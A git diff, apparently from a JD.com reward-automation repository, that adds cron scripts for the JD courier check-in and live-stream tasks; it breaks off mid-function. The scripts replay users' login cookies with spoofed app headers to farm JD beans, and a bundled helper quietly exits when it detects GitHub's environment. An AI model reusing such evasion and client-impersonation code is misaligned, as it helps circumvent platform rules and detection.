>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}$.md5=A}(this);
+function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)}
\ No newline at end of file
diff --git a/Task/jd_kd.js b/Task/jd_kd.js
new file mode 100644
index 0000000..ea531ab
--- /dev/null
+++ b/Task/jd_kd.js
@@ -0,0 +1,213 @@
+/*
+京东快递签到
+活动入口:https://jingcai-h5.jd.com/#/
+签到领豆,14天内满4次和7次享额外奖励,每天运行一次即可
+更新地址:jd_kd.js
+
+已支持IOS双京东账号, Node.js支持N个京东账号
+脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js
+============Quantumultx===============
+[task_local]
+#京东快递签到
+10 0 * * * jd_kd.js, tag=京东快递签到, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_kd.png, enabled=true
+
+================Loon==============
+[Script]
+cron "10 0 * * *" script-path=jd_kd.js, tag=京东快递签到
+
+===============Surge=================
+京东快递签到 = type=cron,cronexp="10 0 * * *",wake-system=1,timeout=3600,script-path=jd_kd.js
+
+============小火箭=========
+京东快递签到 = type=cron,script-path=jd_kd.js, cronexpr="10 0 * * *", timeout=3600, enable=true
+ */
+const $ = new Env('京东快递签到');
+
+const notify = $.isNode() ? require('./sendNotify') : '';
+//Node.js用户请在jdCookie.js处填写京东ck;
+const jdCookieNode = $.isNode() ? require('./jdCookie.js') : '';
+let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送
+const randomCount = $.isNode() ? 20 : 5;
+//IOS等用户直接用NobyDa的jd cookie
+let cookiesArr = [], cookie = '', message, allMsg = '';
+if ($.isNode()) {
+ Object.keys(jdCookieNode).forEach((item) => {
+ cookiesArr.push(jdCookieNode[item])
+ })
+ if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {};
+} else {
+ cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item);
+}
+const JD_API_HOST = 'https://api.m.jd.com/api';
+!(async () => {
+ if (!cookiesArr[0]) {
+ $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"});
+ return;
+ }
+ for (let i = 0; i < cookiesArr.length; i++) {
+ if (cookiesArr[i]) {
+ cookie = cookiesArr[i];
+ $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1])
+ $.index = i + 1;
+ $.isLogin = true;
+ $.nickName = '';
+ message = '';
+ await TotalBean();
+ console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`);
+ if (!$.isLogin) {
+ $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"});
+
+ if ($.isNode()) {
+ await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`);
+ }
+ continue
+ }
+ await userSignIn();
+ // await showMsg();
+ }
+ }
+ if (allMsg) {
+ $.msg($.name, '', allMsg);
+ }
+})()
+ .catch((e) => {
+ $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '')
+ })
+ .finally(() => {
+ $.done();
+ })
+
+function showMsg() {
+ return new Promise(resolve => {
+ $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`);
+ resolve()
+ })
+}
+function userSignIn() {
+ return new Promise(resolve => {
+ $.post(taskUrl(), (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(resp)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ if (data.code === 1) {
+ console.log(`今日签到成功,获得${data.content[0].title}`)
+ message += `京东账号${$.index}${$.nickName}\n今日签到成功,获得${data.content[0].title} 🐶\n`;
+ allMsg += message;
+ } else if (data.code === -1) {
+ console.log(`今日已签到`)
+ // message += `【签到】失败,今日已签到`;
+ } else {
+ console.log(`异常:${JSON.stringify(data)}`)
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+function taskUrl() {
+ return {
+ url: `https://lop-proxy.jd.com/jiFenApi/signInAndGetReward`,
+ body: '[{"userNo":"$cooMrdGatewayUid$"}]',
+ headers: {
+ 'Host': 'lop-proxy.jd.com',
+ 'lop-dn': 'jingcai.jd.com',
+ 'biz-type': 'service-monitor',
+ 'app-key': 'jexpress',
+ 'access': 'H5',
+ 'content-type': 'application/json;charset=utf-8',
+ 'clientinfo': '{"appName":"jingcai","client":"m"}',
+ 'accept': 'application/json, text/plain, */*',
+ 'jexpress-report-time': '1607330170578',
+ 'x-requested-with': 'XMLHttpRequest',
+ 'source-client': '2',
+ 'appparams': '{"appid":158,"ticket_type":"m"}',
+ 'version': '1.0.0',
+ 'origin': 'https://jingcai-h5.jd.com',
+ 'sec-fetch-site': 'same-site',
+ 'sec-fetch-mode': 'cors',
+ 'sec-fetch-dest': 'empty',
+ 'referer': 'https://jingcai-h5.jd.com/',
+ 'accept-language': 'zh-CN,zh;q=0.9',
+ "Cookie": cookie,
+ "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"),
+ }
+ }
+}
+function TotalBean() {
+ return new Promise(async resolve => {
+ const options = {
+ "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`,
+ "headers": {
+ "Accept": "application/json,text/plain, */*",
+ "Content-Type": "application/x-www-form-urlencoded",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Accept-Language": "zh-cn",
+ "Connection": "keep-alive",
+ "Cookie": cookie,
+ "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2",
+ "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1")
+ }
+ }
+ $.post(options, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (data) {
+ data = JSON.parse(data);
+ if (data['retcode'] === 13) {
+ $.isLogin = false; //cookie过期
+ return
+ }
+ if (data['retcode'] === 0) {
+ $.nickName = (data['base'] && data['base'].nickname) || $.UserName;
+ } else {
+ $.nickName = $.UserName
+ }
+ } else {
+ console.log(`京东服务器返回空数据`)
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+function safeGet(data) {
+ try {
+ if (typeof JSON.parse(data) == "object") {
+ return true;
+ }
+ } catch (e) {
+ console.log(e);
+ console.log(`京东服务器访问数据为空,请检查自身设备网络情况`);
+ return false;
+ }
+}
+function jsonParse(str) {
+ if (typeof str == "string") {
+ try {
+ return JSON.parse(str);
+ } catch (e) {
+ console.log(e);
+ $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie')
+ return [];
+ }
+ }
+}
+// prettier-ignore
+function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)}
diff --git a/Task/jd_live.js b/Task/jd_live.js
new file mode 100644
index 0000000..bcf9a2b
--- /dev/null
+++ b/Task/jd_live.js
@@ -0,0 +1,338 @@
+/*
+京东直播
+活动结束时间未知
+活动入口:京东APP首页-京东直播
+地址:https://h5.m.jd.com/babelDiy/Zeus/2zwQnu4WHRNfqMSdv69UPgpZMnE2/index.html/
+已支持IOS双京东账号,Node.js支持N个京东账号
+脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js
+============Quantumultx===============
+[task_local]
+#京东直播
+10-20/5 12 * * * jd_live.js, tag=京东直播, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true
+
+================Loon==============
+[Script]
+cron "10-20/5 12 * * *" script-path=jd_live.js,tag=京东直播
+
+===============Surge=================
+京东直播 = type=cron,cronexp="10-20/5 12 * * *",wake-system=1,timeout=3600,script-path=jd_live.js
+
+============小火箭=========
+京东直播 = type=cron,script-path=jd_live.js, cronexpr="10-20/5 12 * * *", timeout=3600, enable=true
+ */
+const $ = new Env('京东直播');
+
+const notify = $.isNode() ? require('./sendNotify') : '';
+//Node.js用户请在jdCookie.js处填写京东ck;
+const jdCookieNode = $.isNode() ? require('./jdCookie.js') : '';
+let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送
+//IOS等用户直接用NobyDa的jd cookie
+let cookiesArr = [], cookie = '', message;
+if ($.isNode()) {
+ Object.keys(jdCookieNode).forEach((item) => {
+ cookiesArr.push(jdCookieNode[item])
+ })
+ if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {};
+} else {
+ cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item);
+}
+const JD_API_HOST = 'https://api.m.jd.com/client.action';
+!(async () => {
+ if (!cookiesArr[0]) {
+ $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"});
+ return;
+ }
+ for (let i = 0; i < cookiesArr.length; i++) {
+ if (cookiesArr[i]) {
+ cookie = cookiesArr[i];
+ $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1])
+ $.index = i + 1;
+ $.isLogin = true;
+ $.nickName = '';
+ message = '';
+ await TotalBean();
+ console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`);
+ if (!$.isLogin) {
+ $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"});
+
+ if ($.isNode()) {
+ await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`);
+ }
+ continue
+ }
+ await jdHealth()
+ }
+ }
+})()
+ .catch((e) => {
+ $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '')
+ })
+ .finally(() => {
+ $.done();
+ })
+async function jdHealth() {
+ $.bean = 0
+ await getTaskList()
+ await sign()
+ message += `领奖完成,共计获得 ${$.bean} 京豆\n`
+ await showMsg();
+}
+
+function getTs() {
+ return new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000
+}
+function showMsg() {
+ return new Promise(resolve => {
+ if (!jdNotify) {
+ $.msg($.name, '', `${message}`);
+ } else {
+ $.log(`京东账号${$.index}${$.nickName}\n${message}`);
+ }
+ resolve()
+ })
+}
+
+// 开始看
+function getTaskList() {
+ let body = {"timestamp": new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000 }
+ return new Promise(resolve => {
+ $.get(taskUrl("liveChannelTaskListToM", body), async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ await superTask()
+ await awardTask("starViewTask")
+ console.log(`去做分享直播间任务`)
+ await shareTask()
+ await awardTask()
+ console.log(`去做浏览直播间任务`)
+ await viewTask()
+ await awardTask("commonViewTask")
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve(data);
+ }
+ })
+ })
+}
+function superTask() {
